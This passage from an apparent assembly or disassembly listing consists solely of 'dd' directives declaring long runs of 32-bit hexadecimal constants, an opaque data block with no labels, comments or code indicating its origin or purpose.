		dd 4C629C84h, 0B8E28E10h, 50E7F1D4h, 190D7E88h,	67FF1D60h
		dd 555FD157h, 0A8B4DA20h, 5AB13C2Dh, 333470A3h,	0CE84BD1Bh
		dd 0DBE09C82h, 409F7AD0h, 0BC9D76E7h, 7075E713h, 2F8407ABh
		dd 1E3CB907h, 16007E99h, 0FF2EE43Ch, 0B9223A02h, 85F921EBh
		dd 64B87BD9h, 5596DDA1h, 164D03BEh, 0F8B64E5h, 0BC6E74E0h
		dd 0BBE739F4h, 0DA1590FEh, 0BFE8E0CBh, 6996522Dh, 369DEF55h
		dd 0FF0FE0DCh, 9C2EC7AAh, 0BFACBDF3h, 0BCA6F4E3h, 0C5539D68h
		dd 7F4604Dh, 7125DEA9h,	6F4A938h, 0CF6E63FCh, 0A96F1561h
		dd 0FE1ABBD3h, 43C07CCBh, 98327A32h, 22D442B9h,	3991B4CCh
		dd 784658B0h, 0EF413F9Bh, 0ECAF6108h, 7AAB5ED0h, 0BF351DEBh
		dd 0FF051319h, 0BAF5CD90h, 0A5EC17CEh, 244C016Eh, 0D32C6DAEh
		dd 0FEC7A6AEh, 7F297AFCh, 0DBA93DA4h, 111BC6A6h, 0C91455A0h
		dd 0DD601584h, 18A065CFh, 0D102CE70h, 122C0337h, 0FF6DC329h
		dd 4D6305E8h, 0D3606553h, 14C20A72h, 9F226EDCh,	0CC65AC47h
		dd 7D87EAA3h, 0AF2CD67Ch, 8AC495Ah, 44CBA70h, 1DCC492Ah
		dd 0A6313398h, 0B49A7AF8h, 9CC00123h, 38CA35D1h, 8604EDFAh
		dd 7A757348h, 3F4C71FAh, 0E09DB10Eh, 5BE6C620h,	0A531B48Eh
		dd 0C40FCE78h, 91FB979h, 0B72A7654h, 592326C0h,	6C2F9F7Bh
		dd 364D8DCFh, 7F3E0024h
		dd 0BE8A4777h, 7865D5DCh, 552890F9h, 31EEB1CBh,	31B466CAh
		dd 0E44BFE64h, 0BD344BB8h, 9CC4C4EEh, 9C8C75Eh,	0F540015Bh
		dd 7A6D851h, 0EBADBDE6h, 85616B8Eh, 0C062413Dh,	0C92F6210h
		dd 4C65BF84h, 8C8A7120h, 24B4B05Ch, 624C5AFBh, 0CBAE515Eh
		dd 6631157Eh, 0A7C476A7h, 166FE8F9h, 0BA2D6DC9h, 77BC6AA8h
		dd 0B94E5BE0h, 0F3592F05h, 290C8DFEh, 439039FFh, 81DC86CFh
		dd 0C7614EEBh, 5DACE068h, 87EFEEh, 2AE7D610h, 0C6EC9524h
		dd 0CF7E5707h, 0D98A3E65h, 1828ABE2h, 0A6F73BF5h, 0F729B953h
		dd 453DC0C3h, 5844C004h, 0B22DF53Bh, 5436AE53h,	554C47A2h
		dd 0C58262ADh, 96B0C72Ah, 16FC49D3h, 0B6F29C90h, 8CAE038Fh
		dd 3006D967h, 0BB655A08h, 3D27D987h, 38A09660h,	0BBF0373Ch
		dd 9B2B359Fh, 0F8C9C097h, 0DADBA6A9h, 56E33AC4h, 7AF70B9h
		dd 9E9343E0h, 324EF4FFh, 2AD1DC4h, 888AAD80h, 0AE17A3Eh
		dd 0B88173B2h, 0DA79F55Eh, 9CF57CB8h, 0F0F2C8B2h, 0B540F952h
		dd 5EFB6B6Bh, 420D8B69h, 0A8EE2853h, 0B6A75C77h, 0DDE5E08Fh
		dd 0BA55AD03h, 0C4842445h, 0D5B76CBCh, 7F989D79h, 54CB73Dh
		dd 54199617h, 6413A163h, 302EC4B0h, 321ABABEh, 22990BFEh
		dd 0B15E7506h, 82B547A7h, 93E34B7Dh, 0A44DE284h, 409ADC8Bh
		dd 7AD361Ch, 464C72E7h,	715F8A9h, 8365804Ch, 54ECE975h
		dd 4E9FBD3Bh, 0DCB7C5ABh, 4C54BD3Ch, 98F65128h,	559E1520h
		dd 14C768Fh, 952BAC38h,	752772Bh, 0DC6DA8A8h, 0C977E0DCh
		dd 0DBFFF308h, 86FC508Ch, 7940EBEBh, 0CE18C8FEh, 0BB720AF9h
		dd 32F099DDh, 38B5CE2Eh, 6C1664A7h, 9F294303h, 8A105CE0h
		dd 0DA2D2239h, 3E9C7B28h, 0B19E77AEh, 0FFF96E7Ch, 0BA7F505Bh
		dd 3DBE3860h, 0C4345CF8h, 861DCB1Ah, 618D2DD0h,	416A7BE7h
		dd 8F1A0610h, 0BE1F720Eh, 0C7C51DABh, 625908A8h, 7D98FCFBh
		dd 5A36F27Dh, 63B096F3h, 2DCDCE9Dh, 0DE2C703Dh,	1D648664h
		dd 3A3F7EEh, 13EACC5Eh,	0A56475C5h, 0D4C2B10Eh,	7A5A55C1h
		dd 0B5201DFAh, 1C667438h, 0DDDBC340h, 675ACFD0h, 0EB662268h
		dd 3CB53457h, 0D3D107F6h, 6D9AC484h, 0D6482DE6h, 0B6EF1A74h
		dd 88BF4219h, 0BF604DBDh, 820C5056h, 3424D5FBh,	0CB7B6851h
		dd 0D433D11Bh, 7C65C5DEh, 1228041Ch, 0A9E1207Bh, 35DBE4C9h
		dd 0C4288002h, 33CC426h, 6836C92Eh, 0D4A5E70Dh,	0BCAE64BDh
		dd 0A20EA64Eh, 0D53C21FBh, 0EBED5CE0h, 7CB3AFE8h, 13991CDCh
		dd 539F5DCFh, 0E3056C1Dh, 0B4707C8Fh, 9832AEh, 93671788h
		dd 78D49ACFh, 6B78CF5Bh, 62E6FFF4h, 0B51B0839h,	0EB9FA7FCh
		dd 4BA30BF7h, 0AC9AC710h, 0DF05E0F8h, 0B2875821h, 24E89BA2h
		dd 0B2B4E4E5h, 0BED99CD2h, 64281DCEh, 0CA3C72A4h, 0D4043AC7h
		dd 0B7047EF6h, 953C58DFh, 0B90B64D0h, 0DC6712Bh, 88065CD5h
		dd 0E5B60B12h, 3E477D59h, 0B24177ADh, 0FA8ACC64h, 3C875088h
		dd 9E9AFFFEh, 0D3E74575h, 0B78A974Ch, 81634C77h, 43BE9457h
		dd 0DDB2FEDCh, 4D9E34DCh, 0D92193B1h, 0BA630251h, 83D0B6F8h
		dd 6E652467h, 0BE3CAC9Ah, 0D0C1BE78h, 73CEBBE6h, 470F9161h
		dd 50984677h, 5F1E2247h, 0ACC16112h, 0B8CB3CA1h, 0C470B409h
		dd 0E9A10846h, 9B2BBDE3h, 0F1A994FFh, 9CD8573Ch, 8C9FAFDAh
		dd 20487382h, 0F90B49Ch, 1240AF21h, 24CF7AFEh, 0FED570A1h
		dd 3C6CAED2h, 7DF509F3h, 0F8E5F3F5h, 24127C9Eh,	0FEC245CFh
		dd 0D2D76CFh, 0DFD6FDFEh, 2B145CBFh, 0D306B5EFh, 0BC70A463h
		dd 20095ADEh, 0F510E7CEh, 0A0668E8h, 932C1247h,	0CF007D50h
		dd 0C3D76B37h, 74C5B5DEh, 0B58780C7h, 0D02E5671h, 0A746F784h
		dd 2A209502h, 5CACFEACh, 40F5FA75h, 0D7A615E8h,	696D812Ch
		dd 37268882h, 0F75286E0h, 29AF48ACh, 94F52230h,	0DF8ABB9Eh
		dd 1CF675E5h, 0EF4A79F7h, 3DF534F2h, 0E9C3F931h, 43A4862Ch
		dd 0A2730597h, 0DD890399h, 0A43B3026h, 65867975h, 577B7BC8h
		dd 0FB3BF2D0h, 0DA9BD1FCh, 0BA8FDDCh, 2DF5B263h, 7DACDCF4h
		dd 0B19AA5CDh, 0CB930B69h, 43F6B5CCh, 0B88C47D6h, 0B048CD87h
		dd 2F197EB3h, 67D9CC68h, 5874BB5h, 0C7A64A04h, 586D3CBEh
		dd 7A4CF964h, 4382B56Bh, 8D75FC6Eh, 829671BDh, 18F176C0h
		dd 327AC2C3h, 4208A165h, 0F7045BC9h, 200C8FCCh,	0BD68AC08h
		dd 5F71C9F8h, 44C9F510h, 0E489D1Dh, 9307BD37h, 34F277C6h
		dd 0B6EC32E7h, 0E84C646Eh, 0DF94A508h, 0AEBFCE1Ah, 0D0E0B44Fh
		dd 24EC6637h, 0ABA4CCDAh, 0F8CC51CEh, 2221ADC3h, 50EEFD3Ch
		dd 24CE264h, 0FD1658C2h, 0E13D1Ah, 6E89A450h, 764C6668h
		dd 8A6832B3h, 7B2EEF18h, 255681FEh, 0A090D8FCh,	7D92B279h
		dd 21EAF620h, 0F875015Fh, 50F689C8h, 23011D33h,	4D78B350h
		dd 7F36F156h, 7C9A2CFCh, 9C8CAEC4h, 29B7C99Ah, 0C2F5B5FDh
		dd 0D4D591BBh, 0BE00FEF9h, 0BDF2B83Eh, 9B82BCE4h, 0A378012Bh
		dd 7B322847h, 141C643Bh, 0CE861DCBh, 0AD9561DCh, 914AF39h
		dd 0B0A6D3A6h, 0E64C7725h, 3AE49EADh, 2E8FD07h,	1C3F70F6h
		dd 0EA4C635Fh, 26E2ECFEh, 6F07F3Eh, 1F4CE52Ah, 0CE2F459h
		dd 0D5AAD023h, 3860CC4Dh, 9EF50D05h, 8DB8EE56h,	42CE7220h
		dd 3098F4E7h, 9F037FBCh, 2716CF42h, 3C98730Eh, 0C5912DC0h
		dd 3CBFB4A8h, 19E1F80Dh, 68F3E325h, 348672F7h, 78A155E0h
		dd 8FA1DC4h, 45C960F2h,	6E901F2h, 7EA135C0h, 0B8E0FF58h
		dd 351ECB46h, 2F0FD0Bh,	0B37F7FF8h, 9F0E350Bh, 349E0DC8h
		dd 0C2F71B3Fh, 0B8E4BB28h, 4296624Ah, 0AB29C12Ch, 6C9CAA1Fh
		dd 976F11D5h, 679DE1A8h, 99C001DDh, 49E378A6h, 0FB34BD76h
		dd 3316437Bh, 9F0E75FAh, 9419F609h, 0CD885E6h, 1A4E2559h
		dd 832366ADh, 348307FCh, 0EB4AE753h, 13107456h,	9F055E39h
		dd 0CB7061FCh, 0C4B55E55h, 1188D6D7h, 2C80C829h, 82A04105h
		dd 8CC3F93Eh, 5C011DC0h, 57F5BA54h, 0FC723586h,	0DBF2D4B4h
		dd 0C4ACD752h, 0E002955h, 57ED9C54h, 962F8BC5h,	24776CF9h
		dd 0F9265A97h, 20408371h, 0DB4C67C3h, 1753677h,	0BEC825Eh
		dd 0FC9078FCh, 0AA2C70B7h, 9F0B1557h, 0E09C35CEh, 3491BC8Ch
		dd 0A5E70C40h, 0C698685Fh, 46A27Ch, 0E830FBFEh,	9F0BD505h
		dd 34828107h, 7DAEAA16h, 99C123D0h, 3CBD36CCh, 7688455Dh
		dd 8732D425h, 0C56B9B5Bh, 0CA96D2F5h, 0C636EA1Fh, 792E393Eh
		dd 0AF94E1F4h, 4204310Dh, 539CC4FEh, 9F1400F4h,	84ABD2B2h
		dd 5B3B708h, 5921FD17h,	29401AB9h, 0D09A1EE8h, 918C9E90h
		dd 0FFE930ACh, 0FC605964h, 3C91A7D8h, 0BCE6B137h, 60D86C5Ch
		dd 6911618h, 0F38B03C7h, 0D19B7A98h, 0F4002A7Ch, 0F89A08EDh
		dd 0ADF73A36h, 0D439177Ch, 23FC2ED9h, 54F84EC9h, 160E1DFCh
		dd 3479FD43h, 0B874C831h, 73AE16D1h, 68106D00h,	0A1866FEh
		dd 9050877Bh, 0C7017957h, 93DB1ECBh, 0B5063A02h, 7BF58557h
		dd 0FE4CC408h, 9C5E1E77h, 2A5A4994h, 0C703BD10h, 0C704651Ah
		dd 0BD2A1510h, 0FAACFC54h, 7201F80h, 2E659FBFh,	0F180396h
		dd 87256A12h, 1CF3B33Eh, 0D11962E0h, 6C8CCFFBh,	0B8A7B5E8h
		dd 9D6DEF8h, 0E3AFE729h, 0EDD8FCFCh, 0DBA4E491h, 4501D4A7h
		dd 288A05E8h, 438E8B84h, 0DE086FD6h, 2510BDAAh,	0C2F15D6Ah
		dd 3BF15557h, 0E807B33Fh, 0CC76D8E0h, 3F4CAE6Ch, 8D338741h
		dd 7655AC32h, 49E52AD2h, 7331751Ch, 0E3008444h,	6483AD60h
		dd 0E6B7F069h, 4228DFCFh, 8D5DE5Bh, 0FFCAE5FFh,	0D8F85FFEh
		dd 0CA8779Eh, 0F03CA83Eh
		dd 0FE4AC4FCh, 0C8306DABh, 0E5945C18h, 0C4022814h, 7DB9AF78h
		dd 7BD86B6Ch, 3DD10094h, 0A3108A99h, 0D9165E84h, 2108FDF5h
		dd 0DB2F0DEFh, 42D13D53h, 7A2BE987h, 46A17AEEh,	0B89976F4h
		dd 0BBF11EC5h, 0FFD17FCCh, 0C0A0C48Eh, 47FE7AD2h, 3898FDD8h
		dd 7D217ADEh, 0D5F7BBC4h, 0D230D12Ah, 0A73CA122h, 4FDE7AC9h
		dd 6B31DD09h, 7780CEEBh, 6498B1FDh, 2FD177EEh, 8EA8CD66h
		dd 6C08F45Ch, 0AD2FDE63h, 0E25EFD78h, 1CF1B469h, 0AF16274h
		dd 8C859BA2h, 0E23CB540h, 60CCFEE8h, 0C8B02DFEh, 13F44748h
		dd 7D3D4C3Fh, 99F645C4h, 6B17C33Fh, 1DECA427h, 0BAC2BBBEh
		dd 99CF64F7h, 34F1F794h, 6FB555CCh, 0C54E0B04h,	9D723F16h
		dd 25FC34EEh, 4859B699h, 0EA8F9DDh, 4AF5AEBDh, 0AF288999h
		dd 82A45CFh, 220E8C7Ch,	85C87EA6h, 8437A212h, 0CCB4C9D0h
		dd 9F19762Ah, 6BE2D8CBh, 0D4CCBDE4h, 595047C5h,	39880DE1h
		dd 782888Ch, 4A5DA478h,	0EA8E8FFEh, 0F2285856h,	0DF3C7436h
		dd 9F3F794Ch, 36FBE252h, 0EB7FED42h, 0B9F962D4h, 4ABC779Bh
		dd 0E94AE490h, 0FC64BD46h, 0C4A47751h, 0BBAF7743h, 0E48365D3h
		dd 894C5906h, 5D52ED9Bh, 0FDD06A19h, 4A8E3A92h,	5FF7631h
		dd 24E70F32h, 3425C24Fh, 0FCADFE32h, 686D776Bh,	80D979E5h
		dd 0BBEEAC09h, 58CB48Eh, 3CA0892Ah, 9DAF64E8h, 7976111Fh
		dd 0BA1FBE2Fh, 0A870D44h, 0A8EE896Fh, 0FC49A105h, 3FB4EB92h
		dd 0EE16DA9Eh, 0DBD934BFh, 360F3561h, 8A845767h, 42DD33C1h
		dd 0FD27FD12h, 69674F2Fh, 69A119Ah, 7CD1EDC4h, 60E0A802h
		dd 0BF2D79EBh, 0C2307FEAh, 381BFDD3h, 9300B47Bh, 0C2AF15ECh
		dd 392AFD2Eh, 6B6F4FDCh, 74F11D3h, 60F2383Ch, 0FF1EA02Ah
		dd 0F2D9880h, 1D5F0452h, 0B830B678h, 0D04FAD58h, 730B555Ch
		dd 10C54F84h, 1AA07A2Eh, 0FA96C71h, 5534AADDh, 1C48C589h
		dd 0EE765616h, 8E9DBAEFh, 0EA16C134h, 0DA0FBD4Ah, 25C224ADh
		dd 0AC6DCCF2h, 68084B5Ch, 39D7C3E7h, 424D04C7h,	0D370CAE6h
		dd 0C257153Dh, 34E310EBh, 0DF1838ADh, 153F0057h, 97A1EFACh
		dd 9C63DB12h, 0DD4FE25Bh, 0D8A2368Bh, 6389C93Fh, 42A271F6h
		dd 0E8EFF943h, 0EF212473h, 5CB7C146h, 0BF00E7FAh, 740BD2DAh
		dd 7680F584h, 0B5C13FD0h, 774C046Fh, 4035894Bh,	14DD0FC2h
		dd 2720A5FFh, 0EA1FB84Bh, 9AF6BF18h, 54E83DE6h,	0C38E842Fh
		dd 58EEA767h, 38079639h, 814C076Eh, 0F2E96144h,	5FB4E0FCh
		dd 0A0E7AA50h, 7BF0413Fh, 90889F5Bh, 4CC53DBFh,	0ED80498Eh
		dd 0B4A780A6h, 2DF6FDE8h, 5E566D3Ch, 7D2C865Bh,	34C40F2Bh
		dd 3DD1AA8Dh, 423937E9h, 335B2523h, 0C3CDD17Ch,	0BFDC06C8h
		dd 515A102Bh, 43F47F38h, 0A06A4A36h, 2C20B1FAh,	9D344D55h
		dd 0C3D8898Fh, 0FAFA7D61h, 0A74D2702h, 5132094Eh, 0D81977E8h
		dd 0FE3E7934h, 4EF57F4h, 0CA068130h, 7C824184h,	0BE1D7914h
		dd 1374CBEAh, 0C8AFB19Ah, 0A2C43518h, 6FC8861Bh, 4A4D563h
		dd 92F0B50Ah, 984E68F8h, 22EF0D2Ch, 9C47B50Eh, 0B43E9F37h
		dd 703079FDh, 218F6C3Ch, 0CB884527h, 2AA7DE2Ch,	0C0D156AAh
		dd 1BB0E9B0h, 692C6322h, 31AD53ADh, 0E236E957h,	28F3265Fh
		dd 87F64DE0h, 4218FF6Ch, 5F310F10h, 5583B6D0h, 0F244B2C3h
		dd 7C8F04Eh, 0DDD99094h, 0E98B7CC7h, 0B6B3797Eh, 0DF404956h
		dd 176C90DCh, 16E96F5Ch, 1821BA9Ch, 31387384h, 8E2BAAF8h
		dd 2A60D511h, 621F30ACh, 0FB14B12Ch, 42649F67h,	0C42D33E4h
		dd 0EC353028h, 3EAD024Ch, 9B1DC2E8h, 5A1CCC71h,	54E5AC2Ch
		dd 5F0E3812h, 220C1B47h, 5AB62B6h, 28BEBA61h, 0A17526BFh
		dd 3CD545EAh, 19A9A4E4h, 49D46A01h, 0BBE6B04Ch,	0CB4D1D30h
		dd 4787D500h, 0B9F62111h, 0D1F679C7h, 0B86B528h, 1AE9CD5h
		dd 5D7F47CCh, 33679D4Bh, 0FC34AD7Ch, 8584A484h,	34677162h
		dd 49233F83h, 0C77D22Ah, 7DEF6AE4h, 76B210E2h, 5EFAA70Ch
		dd 8C520543h, 34F1C5F1h, 7B34AA75h, 7779B039h, 0AEF81E0Ch
		dd 305CEA6Ah, 623564D5h, 0CDCD3194h, 6D9A2FFFh,	35BE0194h
		dd 577554B0h, 30E1FCF0h, 2F0DE79Ch, 7EE30DEEh, 0CD02B414h
		dd 0DCC21244h, 2CADDBBCh, 4714C03Eh, 6374534Dh,	5BC1159Ah
		dd 4C65BBD5h, 3872FC2Fh, 2AECE95Dh, 3B0FDBCAh, 4436EE87h
		dd 3593B30Ch, 9AB57885h, 0BCD86345h, 0DFA2157Dh, 0F684071Bh
		dd 938C1D3Ah, 0DC112DCBh, 0C9C636F8h, 6CF2DC04h, 2FB87DCh
		dd 0CA04D3A4h, 0F98485A9h, 0BA2CC569h, 0B410652Dh, 5844FFD5h
		dd 0CC5864h, 0D749F772h, 44F065DCh, 2BF26BE8h, 3216B8A7h
		dd 4B387A30h, 1F90FEAFh, 9BB8E5C6h, 55E5BA19h, 2AB04056h
		dd 0F4C17DE0h, 0A7C4AD31h, 0BE1070BEh, 1EB899F6h, 0F4CE07ABh
		dd 7C0A8430h, 0C89115DAh, 0C8A64A0h, 0FAD9724Ch, 0CB8089FCh
		dd 0A76D1F86h, 0BA14D5A9h, 0BAB89F3Ch, 51BFE8E9h, 0A7D093C7h
		dd 7C357DDCh, 8467B3FCh, 49D3C64Eh, 70BD274Ch, 0FAEA0AF0h
		dd 0DCEEEFC3h, 5AFEE3F3h, 3C5ACBA3h, 500ACC3Dh,	592AA604h
		dd 8AEF197Bh, 0B9D33CA7h, 0DA9CE92Bh, 0C3135D21h, 1138C7D4h
		dd 0C349F499h, 0E564647Ch, 7B257DD0h, 0D9C3732Eh, 6E28E0C4h
		dd 9ABCDF76h, 0B915E01Ah, 270569FAh, 5908F170h,	0C7336A5Eh
		dd 1496D1D8h, 77E72254h, 3848844Ch, 0A28060Bh, 57A84EA0h
		dd 9F00F488h, 808BE554h, 0FDBCE898h, 6500634h, 0CE03E7ABh
		dd 0BEB0C766h, 0DD9AEBF5h, 0AF347163h, 6D4C068Ch, 79949560h
		dd 194CF557h, 1F0DCD7Ch, 0CB20E1FFh, 7CA06038h,	0DC2159EFh
		dd 31304484h, 9F2286A9h, 0BA6C54C0h, 9F2374FAh,	0A71CFAF4h
		dd 0F84C7D5Ch, 0FB2B1660h, 50551DE7h, 0C2272DDFh, 904C7FE4h
		dd 0C7C64A5h, 0BCE31DE1h, 0A82715FCh, 4490E26Eh, 78255DF8h
		dd 544C7868h, 20A10D09h, 404C8AE2h, 7E188D3Eh, 867D1DFDh
		dd 0C48471F8h, 3BA8A084h, 9F358724h, 19295D3Ch,	84C64CFEh
		dd 44191CB7h, 0FD2A6DC4h, 0CB0D1DF9h, 0C925E52Eh, 3E4C71D7h
		dd 83E725D4h, 0C8FC7DFBh, 0C925952Eh, 0E04C73E4h, 0FAB4A771h
		dd 9F3374FAh, 0F5E480B4h, 9F076DC0h, 0DC8C70A8h, 0A44C6C4Ch
		dd 0C864B760h, 504C6F6Eh, 782575DCh, 7C4C6E68h,	2482F1C8h
		dd 6F4C69FFh, 0FCE04260h, 43C31DF3h, 3D4C6B51h,	21A75D64h
		dd 0B262E96Fh, 0D727A9CEh, 1F0DE440h, 7B356D6Ch, 55B81DE7h
		dd 0DA488432h, 7D2641F0h, 288B2061h, 14A5E8C3h,	5EE9081Fh
		dd 24F5D64Bh, 9F0FC9FFh, 2D81E287h, 0DF35E1F8h,	64F6BF3Fh
		dd 0C4906431h, 0C5CDE92Ch, 0D40671F8h, 44C075DDh, 0DCC84A5Ch
		dd 4F67BCFh, 3AA097CDh,	0C5E45CFCh, 85BBA9FCh, 0D310664Ch
		dd 0E6E666A0h, 232C55C9h, 179F4EFh, 0D9EE4E9Fh,	6D08B5CCh
		dd 60EF89F0h, 3E2C6C2Ah, 0D758B890h, 0A3B63B3h,	0D17F698Dh
		dd 0BD1691CDh, 513A40FAh, 0D3019724h, 1EE5640h,	98B0F8C3h
		dd 0FDE10AB7h, 57641D3Eh, 7CB5F132h, 0F09BB5DEh, 10E11820h
		dd 0AA24F5CDh, 0CB3377C7h, 9C66A12Ah, 7C8BEDEBh, 0FAD8809Fh
		dd 1CAEB024h, 0F8E074CCh, 0F0E6DDC5h, 0FCE86CC5h, 0ECE281D9h
		dd 0DAE121D4h, 3F0CE40h, 0A582BF45h, 3828B69Fh,	3922F79Bh
		dd 511491CCh, 4070BBE3h, 23263168h, 654C66CCh, 58B38F8Eh
		dd 0DA5A7824h, 0C9F9BAE2h, 0CC296E7Fh, 0ECED6132h, 7C93B131h
		dd 0A8EBEAB6h, 0B5D0643Ah, 0D6381DCFh, 3F3666C9h, 0B5E05621h
		dd 4CE16226h, 30BA64E6h, 48A06D7Ch, 0C40659EEh,	95812584h
		dd 652BF285h, 1A6A8468h
		dd 0A3054926h, 5B4C61AFh, 0D18F66CDh, 21ED6C28h, 0AAA0E5C9h
		dd 0CB025D29h, 3A911A8Dh, 395F41C8h, 641E9907h,	9596F33Eh
		dd 692FEB80h, 9F010165h, 431189C3h, 0A5520026h,	0FB548D01h
		dd 118D53Ah, 2C148168h,	3F511DCAh, 49588149h, 0C0967619h
		dd 23E12D90h, 0AA2E9868h, 0D0B44E1Bh, 0DF45BD64h, 0D53BCF84h
		dd 1F0635AFh, 11BF93CAh, 843D19C3h, 0E70C6CFBh,	2B5A0A88h
		dd 0F4205A37h, 562AE0AFh, 0FBB27DE3h, 0F8782D90h, 3D80EACEh
		dd 36142BC4h, 0CEF138A8h, 0D16D76EAh, 4368E1E7h, 0EA282DC5h
		dd 1926B170h, 64E0A7A4h, 79F9D5C7h, 0D518F50Ah,	7EA97C12h
		dd 84DE7580h, 40EFF793h, 0BC4C5FEBh, 0D1808D4Dh, 67FAF168h
		dd 0DDBF3A6Bh, 3021C32Fh, 560DE208h, 0C83483DDh, 4483783Eh
		dd 46A9194Dh, 8845B408h, 4C5E2Eh, 20ECE252h, 0BCC246BAh
		dd 0D7736E2Ch, 0F8AC4CCEh, 29B2F8C3h, 13970CFCh, 5E3B719Fh
		dd 21B093F5h, 0D10B644Dh, 0BBB24A45h, 0E84071DDh, 0A9BB7535h
		dd 0C8D80DE3h, 7D607924h, 44B55DC2h, 14F06470h,	4D6A1DDDh
		dd 0FC1FF463h, 0DC87FB63h, 2440E729h, 7831B447h, 9245E972h
		dd 78BC7979h, 57A9EF82h, 7C802796h, 0DA7FE524h,	25ECDD5Dh
		dd 46A7D88Ah, 0D5877839h, 9F16A430h, 4F1B6BC6h,	12ED82A8h
		dd 9F17D48Ah, 78B9BD8Eh, 0EF46F6D5h, 4C4D7F4Dh,	0CCFC2C49h
		dd 6560D0F4h, 0C71DBC7Bh, 0FFEFF6Dh, 0CEB02686h, 0AF112928h
		dd 0DDBE47ECh, 29C4DE00h, 41BC8584h, 0CA47184Dh, 232A8A52h
		dd 0FE05322h, 7D8FDAD5h, 0AA61F760h, 0A21A5ED2h, 2E5FD8A5h
		dd 1DF6E2D4h, 4400555Bh, 0B34C4D8Ch, 2F26FA77h,	2EBC2C84h
		dd 0CA83433Eh, 0AC8746Ah, 444C74D7h, 45422470h,	27AF1D4h
		dd 8D80F276h, 59286DE4h, 7F1BB64Ah, 2A8670C1h, 2D00E975h
		dd 7F6CB476h, 4C3E1CAEh, 0FF2FA54Eh, 0E4131DD1h, 49060B48h
		dd 52C7512h, 9F187D62h,	3B55E982h, 0E4254FE7h, 1F7E257h
		dd 0BADBB4AFh, 736571C8h, 0C9B59277h, 0A591F28Bh, 45D3F239h
		dd 0AA4F3E48h, 4F24A4D3h, 36ADACC5h, 6DB20568h,	28A15A92h
		dd 37939DFEh, 53E30574h, 45B8F4A1h, 47834B35h, 45CF1240h
		dd 44080A4h, 0F4C5451Eh, 34046B75h, 4EACF025h, 0CAD9FB68h
		dd 3535DDA1h, 52B4743Fh, 6CB4238Fh, 4F66E246h, 3E83D37Bh
		dd 8DB5ADEBh, 3A368565h, 840EF9Dh, 0D74AC4C8h, 4AB59275h
		dd 5318ABE6h, 0D55ADE9Fh, 29361E6Ah, 9CE18470h,	0CE3AEF98h
		dd 126EFA27h, 485F5E10h, 49CDA770h, 9E6EF79Dh, 0BCA7473Ah
		dd 9CE286A0h, 454BF310h, 4D4C42EEh, 0FE065378h,	5AB2777Bh
		dd 3C429DFFh, 5BF61DC1h, 9FAAE28Eh, 5BFC707Fh, 9359C289h
		dd 2DA0D77Fh, 0C5ED693Ch, 9AB23784h, 4A07C426h,	1335DE31h
		dd 0BF9A7D78h, 6AF341FCh, 4CBF8021h, 0F35FDE14h, 0BA835A10h
		dd 0A392F643h, 2CE96E2Ah, 3DB083B1h, 98FE7220h,	224CA561h
		dd 0B5B5EE7Bh, 16EC1D23h, 0B8914A45h, 0AFDBC7Ah, 0F74CBB5Ch
		dd 8ABF225h, 0FDB59755h, 6FDBE150h, 0A9F6F451h,	0AAA3F527h
		dd 9CEB64BCh, 459FF164h, 0E81DEA0h, 0CB6CE77Eh,	0BF62FB2Eh
		dd 42F575D9h, 0AA5CE733h, 6FF0FC60h, 43F6647Fh,	1A48F0B4h
		dd 116C8E81h, 5BAEAB75h, 2739B558h, 77B00A78h, 8C4600Eh
		dd 0DBC5AFDFh, 1F0D8301h, 9D32B2BEh, 0CE21B1D7h, 9CF7FD0Ch
		dd 8B836CCh, 0B418CE3Ch, 0DF509D37h, 280B428h, 760EBB66h
		dd 4806D43Bh, 49068570h, 67EE8D68h, 179BF1FCh, 0A40CD555h
		dd 0FEA24D19h, 0B07BA7B4h, 0D5B48B37h, 63DF48Eh, 48E720F0h
		dd 0F83C9A5Eh, 0B8E6F9E4h, 0AB3FBA8Eh, 0C733E61Eh, 98BC3DC3h
		dd 0C3055B6Eh, 0BB20B564h, 79F8590Fh, 0C5C61ECDh, 3AE53F77h
		dd 0D56EB138h, 0D42143C1h, 0C08D94CDh, 0F105FB18h, 0C0ACAC79h
		dd 0D42F43C4h, 0DA09CB3h, 3E447905h, 0D5985CE4h, 9346F17Eh
		dd 3A05612Ah, 0BB27CB64h, 0F5495874h, 7F3B64E2h, 686001E5h
		dd 0FAE7A5C0h, 0D5A90E68h, 0BD3D0053h, 0F5AC64FAh, 4F162DA8h
		dd 78086DEAh, 0AB56AD7Ch, 43235FF4h, 0DC6C7D2Eh, 9428FA17h
		dd 9B34032Ah, 0FA64E47Eh, 7CCF64E2h, 0B4600219h, 44A3DDC0h
		dd 99993D25h, 65F5FA70h, 0D92D7859h, 2C1F2860h,	73F3B808h
		dd 0F584752Bh, 4D3D068Eh, 10F357B2h, 56A395C8h,	9A35A7B2h
		dd 0ECFD51A4h, 0B2E768AEh, 7F2759FFh, 0FAECADFDh, 0BCB27565h
		dd 4548271Bh, 83BDAD88h, 28395252h, 0B5A57DDCh,	0B4A2A03h
		dd 4B94566h, 38C04004h,	75154A8Fh, 0DDEEF9C0h, 7CAF11FFh
		dd 25C5415Ah, 0D42EA190h, 2F6821E9h, 0DBE04B1Bh, 970CA6B4h
		dd 5CAEFE29h, 0D500A120h, 0C3CE6CFBh, 1B0DD2C7h, 787F966Dh
		dd 0DAAA1928h, 46E773CFh, 4A40B2A4h, 0AA3DC6CEh, 98C164E1h
		dd 0F5C092C3h, 8FC1EF24h, 11915C0h, 708B3F61h, 43B08B17h
		dd 475EBAB9h, 0C9D467D3h, 0DBF81D38h, 0CBF9E0A7h, 0BEE8662Fh
		dd 10A91C8h, 0A4CB03Ch,	557863DBh, 64ACE57Fh, 90137BDh
		dd 1B026454h, 0DDDE56ACh, 0DADBF63Bh, 0A2DCD27h, 39AC8284h
		dd 7E3DA638h, 4FD05D33h, 7E22D91Fh, 0E9D78DD1h,	497A8322h
		dd 9AA321F9h, 923FFC02h, 844C00AEh, 0A047196Ah,	42A2BA50h
		dd 7EF02AE6h, 4895568Eh, 0D0F4B6Ah, 9AA285F9h, 7EC8D46Eh
		dd 6E8E5ED2h, 8AAE833Dh, 0ECA240A8h, 5B14D896h,	0F57464F8h
		dd 0D04C770Fh, 2CC4BF7h, 82A2BAE4h, 7950C11Eh, 9488EE90h
		dd 0BA6E803Dh, 0F0A238A8h, 129CD886h, 0B836FF6Bh, 328C8048h
		dd 79FEF540h, 7061A766h, 0A0AEDD6Bh, 42A1AF04h,	79F0C05Eh
		dd 34892F44h, 0FA6F8036h, 22FD8061h, 0A9A16D34h, 0FE09BA50h
		dd 1FD0A06Bh, 50FDE999h, 8E432A37h, 83DDB2A8h, 0CACA6C77h
